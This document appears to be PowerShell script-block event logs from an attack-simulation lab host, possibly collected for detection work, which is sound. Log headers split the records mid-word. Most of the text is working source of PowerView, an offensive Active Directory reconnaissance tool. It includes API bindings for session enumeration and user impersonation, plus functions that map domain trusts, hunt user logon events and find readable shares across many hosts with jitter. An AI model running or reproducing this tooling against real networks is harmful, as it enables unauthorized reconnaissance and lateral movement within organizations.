(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111963Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4648 $TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
$Direction = Switch ($Props.trustdirection) {
0 { 'Disabled' }
1 { 'Inbound' }
2 { 'Outbound' }
3 { 'Bidirectional' }
}
$TrustType = Switch ($Props.trusttype) {
1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
2 { 'WINDOWS_ACTIVE_DIRECTORY' }
3 { 'MIT' }
}
$Distinguishedname = $Props.distinguishedname[0]
$SourceNameIndex = $Distinguishedname.IndexOf('DC=')
if ($SourceNameIndex) {
$SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.'
}
else {
$SourceDomain = ""
}
$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
if ($SourceNameIndex) {
$TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3)
}
else {
$TargetDomain = ""
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
# $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
$DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0]
$DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0]
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
$DomainTrust
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
}
}
$TrustSearcher.dispose()
}
}
elseif ($PsCmdlet.ParameterSetName -eq 'API') {
# if we're searching for domain trusts through Win32 API functions
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
}
elseif ($Domain -and $Domain.Trim() -ne '') {
$TargetDC = $Domain
}
else {
# see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
$TargetDC = $Null
}
# arguments for DsEnumerateDomainTrusts
$PtrInfo = [IntPtr]::Zero
# 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
$Flags = 63
$DomainCount = 0
# get the trust information from the target server
$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $DS_DOMAIN_TRUSTS::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $DomainCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ''
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq 0) {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
$DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
$DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
$DomainTrust
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
# if we're searching for domain trusts through .NET methods
$FoundDomain = Get-Domain @NetSearcherArguments
if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
}
}
}
function Get-ForestTrust {
<#
.SYNOPSIS
Return all forest trusts for the current forest or a specified forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
.PARAMETER Forest
Specifies the forest to query for trusts, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestTrust
Return current forest trusts.
.EXAMPLE
Get-ForestTrust -Forest "external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}
function Get-DomainForeignGroupMember {
<#
.SYNOPSIS
Enumerates groups with users outside of the group's domain and returns
each foreign member. This is a domain's "incoming" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Requac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111959Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4248 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
